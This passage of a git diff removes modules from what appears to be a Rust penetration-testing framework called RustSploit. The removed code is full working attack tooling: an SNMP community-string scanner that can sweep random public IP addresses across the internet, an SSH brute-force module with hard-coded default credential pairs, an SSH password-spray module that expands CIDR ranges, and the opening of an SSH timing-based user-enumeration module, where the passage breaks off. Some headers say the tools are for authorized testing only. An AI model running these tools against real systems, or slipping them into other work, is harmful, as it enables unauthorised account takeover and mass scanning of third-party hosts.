Vec { - let mut result = Vec::new(); - result.push(tag); - - let length = value.len(); - if length < 128 { - // Short form: single byte length - result.push(length as u8); - } else { - // Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian) - // Calculate how many bytes we need for the length - let mut len = length; - let mut num_bytes = 0; - let mut len_bytes = Vec::new(); - - while len > 0 { - len_bytes.push((len & 0xFF) as u8); - len >>= 8; - num_bytes += 1; - } - - // Reverse to get big-endian representation - len_bytes.reverse(); - - // First byte: 0x80 | number of length bytes - result.push(0x80 | (num_bytes as u8)); - result.extend_from_slice(&len_bytes); - } - - result.extend_from_slice(value); - result -} - -/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values) -fn encode_integer_tlv(value: u32) -> Vec { - let mut bytes = Vec::new(); - if value == 0 { - bytes.push(0); - } else { - let mut val = value; - // Encode as big-endian, using minimum number of bytes - // For values that would have high bit set, we need an extra zero byte - // to ensure it's interpreted as positive - while val > 0 { - bytes.push((val & 0xFF) as u8); - val >>= 8; - } - bytes.reverse(); - - // If high bit is set, prepend 0x00 to make it positive - if bytes[0] & 0x80 != 0 { - bytes.insert(0, 0x00); - } - } - build_tlv(0x02, &bytes) // 0x02 = INTEGER -} - -/// Encodes OID value (without the TLV wrapper) -fn encode_oid_value(oid: &[u32]) -> Vec { - let mut encoded = Vec::new(); - if oid.len() >= 2 { - // First two sub-identifiers are encoded as: first * 40 + second - encoded.push((oid[0] * 40 + oid[1]) as u8); - for &sub_id in &oid[2..] { - encode_sub_id(sub_id, &mut encoded); - } - } - encoded -} - - -/// Encodes a sub-identifier using base-128 encoding -fn encode_sub_id(mut value: u32, output: &mut Vec) { - let mut bytes = Vec::new(); - if value == 0 { - bytes.push(0); - } else { - while value > 0 { - bytes.push((value & 0x7F) as u8); - value >>= 7; - } - bytes.reverse(); - // Set high bit on all but last byte - for i in 0..bytes.len() - 1 { - bytes[i] |= 0x80; - } - } - output.extend_from_slice(&bytes); -} - - - -/// Run mass scan logic (Hose style) -async fn run_mass_scan(target: &str) -> Result<()> { - println!("{}", "[*] Preparing Mass Scan configuration...".blue()); - - let port = prompt_int_range("SNMP Port", 161, 1, 65535)? as u16; - let communities_file = prompt_existing_file("Community string wordlist")?; - - let snmp_version = loop { - let input = prompt_default("SNMP Version (1 or 2c)", "2c")?; - match input.trim().to_lowercase().as_str() { - "1" => break 0, - "2c" | "2" => break 1, - _ => println!("Invalid version. Enter '1' or '2c'."), - } - }; - - let communities = load_lines(&communities_file)?; - if communities.is_empty() { - return Err(anyhow!("Community wordlist cannot be empty")); - } - - let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64; - let output_file = prompt_default("Output result file", "snmp_mass_results.txt")?; - - // Parse exclusions - let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES)); - - // Shared State - let semaphore = Arc::new(Semaphore::new(concurrency)); - let stats_checked = Arc::new(AtomicUsize::new(0)); - let stats_found = Arc::new(AtomicUsize::new(0)); - let creds_pkg = Arc::new((communities, snmp_version, timeout_secs)); - - // Stats Reporter - let s_checked = stats_checked.clone(); - let s_found = stats_found.clone(); - tokio::spawn(async move { - loop { - tokio::time::sleep(Duration::from_secs(5)).await; - println!( - "[*] Status: {} IPs scanned, {} SNMP devices found", - s_checked.load(Ordering::Relaxed), - s_found.load(Ordering::Relaxed).to_string().green().bold() - ); - } - }); - - let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0"; - - if run_random { - println!("{}", "[*] Starting Random Internet Scan...".green()); - loop { - let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?; - let exc = exclusions.clone(); - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - tokio::spawn(async move { - let ip = generate_random_public_ip(&exc); - - if !is_ip_checked(&ip, STATE_FILE).await { - mark_ip_checked(&ip, STATE_FILE).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - } else { - // File mode - let content = tokio::fs::read_to_string(target).await.unwrap_or_default(); - let lines: Vec = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect(); - println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue()); - - for ip_str in lines { - let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?; - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - let ip_addr = match ip_str.parse::() { - Ok(ip) => Some(ip), - Err(_) => None - }; - - tokio::spawn(async move { - if let Some(ip) = ip_addr { - if !is_ip_checked(&ip, STATE_FILE).await { - mark_ip_checked(&ip, STATE_FILE).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - - // Wait for finish - for _ in 0..concurrency { - let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?; - } - } - - Ok(()) -} - -async fn mass_scan_host( - ip: IpAddr, - port: u16, - creds: Arc<(Vec, u8, u64)>, - stats_found: Arc, - output_file: String, - _verbose: bool, -) { - let addr = format!("{}:{}", ip, port); - let (communities, version, timeout_secs) = &*creds; - let timeout = Duration::from_secs(*timeout_secs); - - for community in communities { - match try_snmp_community(&addr, community, *version, timeout).await { - Ok(true) => { - let result_str = format!("{} -> community: '{}'", addr, community); - println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold()); - - if let Ok(mut file) = OpenOptions::new() - .create(true) - .append(true) - .open(&output_file) - .await - { - let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await; - } - - stats_found.fetch_add(1, Ordering::Relaxed); - return; // Stop on first valid community for this host - } - Ok(false) => { - // Auth failure - } - Err(_) => { - // Connection error - return; - } - } - } -} - - diff --git a/src/modules/creds/generic/ssh_bruteforce.rs b/src/modules/creds/generic/ssh_bruteforce.rs deleted file mode 100644 index 6c2e61e..0000000 --- a/src/modules/creds/generic/ssh_bruteforce.rs +++ /dev/null @@ -1,438 +0,0 @@ -use anyhow::{anyhow, Result}; -use colored::*; -use ssh2::Session; -use std::{ - net::TcpStream, - sync::atomic::{AtomicBool, Ordering}, - sync::Arc, - time::Duration, - io::Write, -}; -use tokio::{ - sync::{Mutex, Semaphore}, - task::spawn_blocking, - time::{sleep, timeout}, -}; -use futures::stream::{FuturesUnordered, StreamExt}; - -use crate::utils::{ - normalize_target, prompt_default, prompt_yes_no, - prompt_existing_file, load_lines, get_filename_in_current_dir, prompt_port -}; -use crate::modules::creds::utils::BruteforceStats; - -// Constants -const DEFAULT_SSH_PORT: u16 = 22; -const PROGRESS_INTERVAL_SECS: u64 = 2; -const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[ - ("root", "root"), - ("admin", "admin"), - ("user", "user"), - ("guest", "guest"), - ("root", "123456"), - ("admin", "123456"), - ("root", "password"), - ("admin", "password"), - ("root", ""), - ("admin", ""), - ("ubuntu", "ubuntu"), - ("test", "test"), - ("oracle", "oracle"), -]; - - -pub async fn run(target: &str) -> Result<()> { - println!("{}", "=== SSH Brute Force Module ===".bold()); - println!("[*] Target: {}", target); - - let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?; - - // Ask about default credentials - let use_defaults = prompt_yes_no("Try default credentials first?", true)?; - - let usernames_file = if prompt_yes_no("Use username wordlist?", true)? { - Some(prompt_existing_file("Username wordlist")?) - } else { - None - }; - - let passwords_file = if prompt_yes_no("Use password wordlist?", true)? { - Some(prompt_existing_file("Password wordlist")?) - } else { - None - }; - - if !use_defaults && usernames_file.is_none() && passwords_file.is_none() { - return Err(anyhow!("At least one wordlist or default credentials must be enabled")); - } - - let concurrency: usize = loop { - let input = prompt_default("Max concurrent tasks", "10")?; - match input.parse() { - Ok(n) if n > 0 && n <= 256 => break n, - _ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()), - } - }; - - let connection_timeout: u64 = loop { - let input = prompt_default("Connection timeout (seconds)", "5")?; - match input.parse() { - Ok(n) if n >= 1 && n <= 60 => break n, - _ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()), - } - }; - - let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?; - let max_retries: usize = if retry_on_error { - loop { - let input = prompt_default("Max retries per attempt", "2")?; - match input.parse() { - Ok(n) if n > 0 && n <= 10 => break n, - _ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()), - } - } - } else { - 0 - }; - - let stop_on_success = prompt_yes_no("Stop on first success?", true)?; - let save_results = prompt_yes_no("Save results to file?", true)?; - let save_path = if save_results { - Some(prompt_default("Output file", "ssh_brute_results.txt")?) - } else { - None - }; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?; - - let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port)); - - println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan()); - - // Load wordlists - let mut usernames = Vec::new(); - if let Some(ref file) = usernames_file { - usernames = load_lines(file)?; - if usernames.is_empty() { - println!("{}", "[!] Username wordlist is empty.".yellow()); - } else { - println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green()); - } - } - - let mut passwords = Vec::new(); - if let Some(ref file) = passwords_file { - passwords = load_lines(file)?; - if passwords.is_empty() { - println!("{}", "[!] Password wordlist is empty.".yellow()); - } else { - println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green()); - } - } - - // Add default credentials if requested - if use_defaults { - for (user, pass) in DEFAULT_CREDENTIALS { - if !usernames.contains(&user.to_string()) { - usernames.push(user.to_string()); - } - if !passwords.contains(&pass.to_string()) { - passwords.push(pass.to_string()); - } - } - println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green()); - } - - if usernames.is_empty() { - return Err(anyhow!("No usernames available")); - } - if passwords.is_empty() { - return Err(anyhow!("No passwords available")); - } - - // Calculate total attempts - let total_attempts = if combo_mode { - usernames.len() * passwords.len() - } else { - passwords.len() - }; - println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan()); - println!(); - - let found = Arc::new(Mutex::new(Vec::new())); - let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new())); - let stop = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(BruteforceStats::new()); - let semaphore = Arc::new(Semaphore::new(concurrency)); - let timeout_duration = Duration::from_secs(connection_timeout); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop.clone(); - let progress_handle = tokio::spawn(async move { - loop { - if stop_clone.load(Ordering::Relaxed) { - break; - } - stats_clone.print_progress(); - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - let mut tasks = FuturesUnordered::new(); - let mut user_cycle_idx = 0usize; - - for pass in passwords.iter() { - if stop_on_success && stop.load(Ordering::Relaxed) { - break; - } - - let selected_users: Vec = if combo_mode { - usernames.iter().cloned().collect() - } else { - if usernames.is_empty() { - Vec::new() - } else { - let user = usernames[user_cycle_idx % usernames.len()].clone(); - user_cycle_idx += 1; - vec![user] - } - }; - - for user in selected_users { - if stop_on_success && stop.load(Ordering::Relaxed) { - break; - } - - let addr_clone = connect_addr.clone(); - let user_clone = user.clone(); - let pass_clone = pass.clone(); - let found_clone = Arc::clone(&found); - let unknown_clone = Arc::clone(&unknown); - let stop_clone = Arc::clone(&stop); - let stats_clone = Arc::clone(&stats); - let semaphore_clone = semaphore.clone(); - let timeout_clone = timeout_duration; - let stop_flag = stop_on_success; - let verbose_flag = verbose; - let retry_flag = retry_on_error; - let max_retries_clone = max_retries; - - tasks.push(tokio::spawn(async move { - if stop_flag && stop_clone.load(Ordering::Relaxed) { - return; - } - - // Acquire semaphore permit inside the spawned task - let _permit = match semaphore_clone.acquire_owned().await { - Ok(permit) => permit, - Err(_) => return, - }; - - if stop_flag && stop_clone.load(Ordering::Relaxed) { - return; - } - - let mut retries = 0; - loop { - match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green()); - let mut found_guard = found_clone.lock().await; - // Check if already found to avoid duplicates - let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone()); - if !found_guard.contains(&entry) { - found_guard.push(entry); - } - stats_clone.record_attempt(true, false); - if stop_flag { - stop_clone.store(true, Ordering::Relaxed); - } - break; - } - Ok(false) => { - stats_clone.record_attempt(false, false); - if verbose_flag { - println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed()); - } - break; - } - Err(e) => { - stats_clone.record_attempt(false, true); - let msg = e.to_string(); - if retry_flag && retries < max_retries_clone { - retries += 1; - stats_clone.record_retry(); - if verbose_flag { - println!( - "\r{}", - format!( - "[!] {} -> {}:{} (retry {}/{}) - {}", - addr_clone, - user_clone, - pass_clone, - retries, - max_retries_clone, - msg - ) - .yellow() - ); - } - sleep(Duration::from_millis(500)).await; - continue; - } else { - { - let mut unk = unknown_clone.lock().await; - unk.push(( - addr_clone.clone(), - user_clone.clone(), - pass_clone.clone(), - msg.clone(), - )); - } - if verbose_flag { - println!( - "\r{}", - format!( - "[?] {} -> {}:{} error/unknown: {}", - addr_clone, user_clone, pass_clone, msg - ) - .yellow() - ); - } - break; - } - } - } - } - })); - } - } - - // Wait for all tasks with FuturesUnordered - while let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task error: {}", e).red()); - } - } - } - - stop.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - stats.print_final().await; - - let creds = found.lock().await; - if creds.is_empty() { - println!("\n{}", "[-] No credentials found.".yellow()); - } else { - println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold()); - for (host, user, pass) in creds.iter() { - println!(" {} -> {}:{}", host, user, pass); - } - - if let Some(path_str) = save_path { - let filename = get_filename_in_current_dir(&path_str); - // Use std::fs::File for simple writing - use std::fs::File; - let mut file = File::create(&filename)?; - for (host, user, pass) in creds.iter() { - writeln!(file, "{} -> {}:{}", host, user, pass)?; - } - file.flush()?; - println!("{}", format!("[+] Results saved to '{}'", filename.display()).green()); - } - } - - drop(creds); - - // Unknown / errored attempts - let unknown_guard = unknown.lock().await; - if !unknown_guard.is_empty() { - println!( - "{}", - format!( - "[?] Collected {} unknown/errored SSH responses.", - unknown_guard.len() - ) - .yellow() - .bold() - ); - if prompt_yes_no("Save unknown responses to file?", true)? { - let default_name = "ssh_unknown_responses.txt"; - let fname = prompt_default( - &format!( - "What should the unknown results be saved as? (default: {})", - default_name - ), - default_name, - )?; - let filename = get_filename_in_current_dir(&fname); - use std::fs::File; - match File::create(&filename) { - Ok(mut file) => { - writeln!( - file, - "# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)" - )?; - for (host, user, pass, msg) in unknown_guard.iter() { - writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?; - } - file.flush()?; - println!( - "{}", - format!("[+] Unknown responses saved to '{}'", filename.display()).green() - ); - } - Err(e) => { - println!( - "{}", - format!( - "[!] Could not create unknown response file '{}': {}", - filename.display(), - e - ) - .red() - ); - } - } - } - } - - Ok(()) -} - -async fn try_ssh_login( - normalized_addr: &str, - user: &str, - pass: &str, - timeout_duration: Duration, -) -> Result { - let user_owned = user.to_string(); - let pass_owned = pass.to_string(); - let addr_owned = normalized_addr.to_string(); - - let handle = spawn_blocking(move || { - let tcp = TcpStream::connect(&addr_owned) - .map_err(|e| anyhow!("Connection error: {}", e))?; - - let mut sess = Session::new() - .map_err(|e| anyhow!("Failed to create SSH session: {}", e))?; - sess.set_tcp_stream(tcp); - - sess.handshake() - .map_err(|e| anyhow!("SSH handshake failed: {}", e))?; - - sess.userauth_password(&user_owned, &pass_owned) - .map_err(|e| anyhow!("Authentication failed: {}", e))?; - - Ok(sess.authenticated()) - }); - - let join_result = timeout(timeout_duration, handle) - .await - .map_err(|_| anyhow!("Connection timeout"))?; - - join_result.map_err(|e| anyhow!("Join error: {}", e))? -} diff --git a/src/modules/creds/generic/ssh_spray.rs b/src/modules/creds/generic/ssh_spray.rs deleted file mode 100644 index 92ff766..0000000 --- a/src/modules/creds/generic/ssh_spray.rs +++ /dev/null @@ -1,490 +0,0 @@ -//! SSH Password Spray Module -//! -//! Based on SSHPWN framework - sprays single password across multiple targets/users. -//! Useful for avoiding account lockouts while testing common passwords. -//! -//! For authorized penetration testing only. - -use anyhow::{anyhow, Result}; -use colored::*; -use ssh2::Session; -use std::{ - collections::HashSet, - fs::File, - io::{BufRead, BufReader, Write}, - net::TcpStream, - sync::{ - atomic::{AtomicBool, AtomicU64, Ordering}, - Arc, - }, - time::{Duration, Instant}, -}; -use crate::utils::prompt_port; - -use anyhow::Context; -use tokio::{ - sync::Semaphore, - task::spawn_blocking, - time::sleep, -}; -use ipnetwork::IpNetwork; - -const DEFAULT_SSH_PORT: u16 = 22; -const DEFAULT_TIMEOUT_SECS: u64 = 10; -const DEFAULT_THREADS: usize = 20; -const PROGRESS_INTERVAL_SECS: u64 = 2; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ SSH Password Spray ║".cyan()); - println!("{}", "║ Spray single password across multiple targets/users ║".cyan()); - println!("{}", "║ ║".cyan()); - println!("{}", "║ Benefits: ║".cyan()); - println!("{}", "║ - Avoids account lockouts ║".cyan()); - println!("{}", "║ - Tests common passwords across many hosts ║".cyan()); - println!("{}", "║ - Efficient for large network assessments ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Normalize target for connection -fn normalize_target(target: &str) -> String { - let trimmed = target.trim(); - if trimmed.starts_with('[') && trimmed.contains(']') { - trimmed.to_string() - } else if trimmed.contains(':') && !trimmed.contains('.') { - format!("[{}]", trimmed) - } else { - trimmed.to_string() - } -} - -/// Statistics tracking -struct Statistics { - total_attempts: AtomicU64, - successful: AtomicU64, - failed: AtomicU64, - errors: AtomicU64, - start_time: Instant, -} - -impl Statistics { - fn new() -> Self { - Self { - total_attempts: AtomicU64::new(0), - successful: AtomicU64::new(0), - failed: AtomicU64::new(0), - errors: AtomicU64::new(0), - start_time: Instant::now(), - } - } - - fn record_attempt(&self, success: bool, error: bool) { - self.total_attempts.fetch_add(1, Ordering::Relaxed); - if error { - self.errors.fetch_add(1, Ordering::Relaxed); - } else if success { - self.successful.fetch_add(1, Ordering::Relaxed); - } else { - self.failed.fetch_add(1, Ordering::Relaxed); - } - } - - fn print_progress(&self) { - let total = self.total_attempts.load(Ordering::Relaxed); - let success = self.successful.load(Ordering::Relaxed); - let failed = self.failed.load(Ordering::Relaxed); - let errors = self.errors.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 }; - - print!( - "\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ", - "[Progress]".cyan(), - total.to_string().bold(), - success.to_string().green(), - failed, - errors.to_string().red(), - rate - ); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - fn print_summary(&self) { - println!(); - println!("{}", "=== Spray Summary ===".cyan().bold()); - println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed)); - println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green()); - println!("Failed: {}", self.failed.load(Ordering::Relaxed)); - println!("Errors: {}", self.errors.load(Ordering::Relaxed)); - println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64()); - } -} - -/// Credential result -#[derive(Clone, Debug)] -pub struct SprayResult { - pub host: String, - pub port: u16, - pub username: String, - pub password: String, -} - -/// Try SSH authentication -fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result { - let addr = format!("{}:{}", host, port); - - let tcp = TcpStream::connect_timeout( - &addr.parse()?, - Duration::from_secs(timeout_secs), - )?; - - tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?; - tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?; - - let mut sess = Session::new()?; - sess.set_tcp_stream(tcp); - sess.handshake()?; - - match sess.userauth_password(username, password) { - Ok(_) => Ok(sess.authenticated()), - Err(_) => Ok(false), - } -} - -/// Parse targets from string (CIDR, range, single IP) -fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> { - let mut targets = Vec::new(); - - for s in spec.split(&[',', ' ', '\n'][..]) { - let s = s.trim(); - if s.is_empty() { - continue; - } - - // Try CIDR - if s.contains('/') { - if let Ok(network) = s.parse::() { - for ip in network.iter().take(65536) { - targets.push((ip.to_string(), port)); - } - continue; - } - } - - // Try IP range (e.g., 192.168.1.1-254) - if s.contains('-') && s.contains('.') { - let parts: Vec<&str> = s.rsplitn(2, '.').collect(); - if parts.len() == 2 { - if let Some((start_str, end_str)) = parts[0].split_once('-') { - if let (Ok(start), Ok(end)) = (start_str.parse::(), end_str.parse::()) { - let base = parts[1]; - for i in start..=end { - targets.push((format!("{}.{}", base, i), port)); - } - continue; - } - } - } - } - - // Single IP/hostname - targets.push((s.to_string(), port)); - } - - targets -} - -/// Load list from file -fn load_list_from_file(path: &str) -> Result> { - let file = File::open(path)?; - let reader = BufReader::new(file); - let items: Vec = reader - .lines() - .filter_map(|l| l.ok()) - .map(|l| l.trim().to_string()) - .filter(|l| !l.is_empty() && !l.starts_with('#')) - .collect(); - Ok(items) -} - -/// Main spray function -pub async fn password_spray( - targets: Vec<(String, u16)>, - usernames: &[String], - password: &str, - threads: usize, - timeout_secs: u64, -) -> Vec { - let total = targets.len() * usernames.len(); - println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)", - password, targets.len(), usernames.len(), total).cyan()); - - let results = Arc::new(tokio::sync::Mutex::new(Vec::new())); - let stats = Arc::new(Statistics::new()); - let semaphore = Arc::new(Semaphore::new(threads)); - let stop = Arc::new(AtomicBool::new(false)); - - // Progress reporter - let stats_clone = Arc::clone(&stats); - let stop_clone = Arc::clone(&stop); - let progress_handle = tokio::spawn(async move { - while !stop_clone.load(Ordering::Relaxed) { - stats_clone.print_progress(); - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - // Spray tasks - let mut handles = Vec::new(); - - for (host, port) in targets { - for user in usernames { - let semaphore = Arc::clone(&semaphore); - let results = Arc::clone(&results); - let stats = Arc::clone(&stats); - let host = host.clone(); - let user = user.clone(); - let password = password.to_string(); - - let handle: tokio::task::JoinHandle> = tokio::spawn(async move { - let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?; - - let host_clone = host.clone(); - let user_clone = user.clone(); - let pass_clone = password.clone(); - - let result = spawn_blocking(move || { - try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs) - }).await; - - match result { - Ok(Ok(true)) => { - stats.record_attempt(true, false); - let cred = SprayResult { - host: host.clone(), - port, - username: user.clone(), - password: password.clone(), - }; - println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold()); - let _ = std::io::Write::flush(&mut std::io::stdout()); - results.lock().await.push(cred); - } - Ok(Ok(false)) => { - stats.record_attempt(false, false); - } - _ => { - stats.record_attempt(false, true); - } - } - Ok(()) - }); - - handles.push(handle); - } - } - - // Wait for all tasks - for handle in handles { - let _ = handle.await; - } - - // Stop progress reporter - stop.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - // Print summary - stats.print_summary(); - - let results = results.lock().await; - results.clone() -} - -/// Save results to file -fn save_results(results: &[SprayResult], path: &str) -> Result<()> { - let mut file = File::create(path)?; - - writeln!(file, "# SSH Password Spray Results")?; - writeln!(file, "# Generated by RustSploit")?; - writeln!(file, "# Total: {} credentials found", results.len())?; - writeln!(file)?; - - for result in results { - writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?; - } - - println!("{}", format!("[+] Results saved to: {}", path).green()); - Ok(()) -} - -/// Prompt helper -async fn prompt(message: &str) -> Result { - print!("{}: ", message); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - Ok(input.trim().to_string()) -} - -fn prompt_default(message: &str, default: &str) -> Result { - print!("{} [{}]: ", message, default); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim(); - if trimmed.is_empty() { - Ok(default.to_string()) - } else { - Ok(trimmed.to_string()) - } -} - -fn prompt_yes_no(message: &str, default: bool) -> Result { - let hint = if default { "Y/n" } else { "y/N" }; - print!("{} [{}]: ", message, hint); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim().to_lowercase(); - match trimmed.as_str() { - "" => Ok(default), - "y" | "yes" => Ok(true), - "n" | "no" => Ok(false), - _ => Ok(default), - } -} - -/// Default usernames to spray -const DEFAULT_USERNAMES: &[&str] = &[ - "root", "admin", "user", "administrator", "ubuntu", - "guest", "test", "oracle", "postgres", "mysql", -]; - -/// Main entry point -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - // Get password to spray - let password = prompt("Password to spray").await?; - if password.is_empty() { - return Err(anyhow!("Password is required")); - } - - // Get port - let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?; - - // Get targets - let mut targets = Vec::new(); - - // Add initial target - let host = normalize_target(target); - if !host.is_empty() { - println!("{}", format!("[*] Initial target: {}", host).cyan()); - targets.extend(parse_targets(&host, port)); - } - - // Get additional targets - let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?; - if !more_targets.is_empty() { - targets.extend(parse_targets(&more_targets, port)); - } - - // Load from file? - if prompt_yes_no("Load targets from file?", false)? { - let file_path = prompt("File path").await?; - if !file_path.is_empty() { - match load_list_from_file(&file_path) { - Ok(file_targets) => { - println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan()); - for t in file_targets { - targets.extend(parse_targets(&t, port)); - } - } - Err(e) => { - println!("{}", format!("[-] Failed to load file: {}", e).red()); - } - } - } - } - - // Deduplicate targets - let unique: HashSet<_> = targets.into_iter().collect(); - let targets: Vec<_> = unique.into_iter().collect(); - - if targets.is_empty() { - return Err(anyhow!("No targets specified")); - } - - println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan()); - - // Get usernames - let mut usernames: Vec = Vec::new(); - - if prompt_yes_no("Load usernames from file?", false)? { - let file_path = prompt("Username file path").await?; - if !file_path.is_empty() { - match load_list_from_file(&file_path) { - Ok(loaded) => { - println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan()); - usernames.extend(loaded); - } - Err(e) => { - println!("{}", format!("[-] Failed to load file: {}", e).red()); - } - } - } - } - - // Add default usernames? - if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? { - for user in DEFAULT_USERNAMES { - if !usernames.contains(&user.to_string()) { - usernames.push(user.to_string()); - } - } - } - - if usernames.is_empty() { - return Err(anyhow!("No usernames to test")); - } - - // Get scan options - let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())? - .parse() - .unwrap_or(DEFAULT_THREADS); - let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())? - .parse() - .unwrap_or(DEFAULT_TIMEOUT_SECS); - - println!(); - - // Run spray - let results = password_spray(targets, &usernames, &password, threads, timeout).await; - - // Save results? - if !results.is_empty() && prompt_yes_no("Save results to file?", true)? { - let output_path = prompt_default("Output file", "ssh_spray_results.txt")?; - if let Err(e) = save_results(&results, &output_path) { - println!("{}", format!("[-] Failed to save: {}", e).red()); - } - } - - println!(); - println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green()); - - Ok(()) -} - diff --git a/src/modules/creds/generic/ssh_user_enum.rs b/src/modules/creds/generic/ssh_user_enum.rs deleted file mode 100644 index d73ce29..0000000 --- a/src/modules/creds/generic/ssh_user_enum.rs +++ /dev/null @@ -1,310 +0,0 @@ -//! SSH User Enumeration Module (Timing Attack) -//! -//! Based on SSHPWN framework - enumerates valid users via timing attack. -//! Inspired by CVE-2018-15473 style attacks. -//! -//! For authorized penetration testing only. - -use anyhow::{anyhow, Result}; -use colored::*; -use ssh2::Session; -use std::{ - fs::File, - io::{BufRead, BufReader, Write}, - net::TcpStream, - time::{Duration, Instant}, -}; -use crate::utils::prompt_port; - -use anyhow::Context; - -const DEFAULT_SSH_PORT: u16 = 22; -const DEFAULT_TIMEOUT_SECS: u64 = 10; -const DEFAULT_SAMPLES: usize = 3; -const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan()); - println!("{}", "║ Based on auth2.c timing differences ║".cyan()); - println!("{}", "║ ║".cyan()); - println!("{}", "║ How it works: ║".cyan()); - println!("{}", "║ - Measures authentication response time for each username ║".cyan()); - println!("{}", "║ - Valid users often have different timing than invalid ║".cyan()); - println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Normalize target for connection -fn normalize_target(target: &str) -> String { - let trimmed = target.trim(); - if trimmed.starts_with('[') && 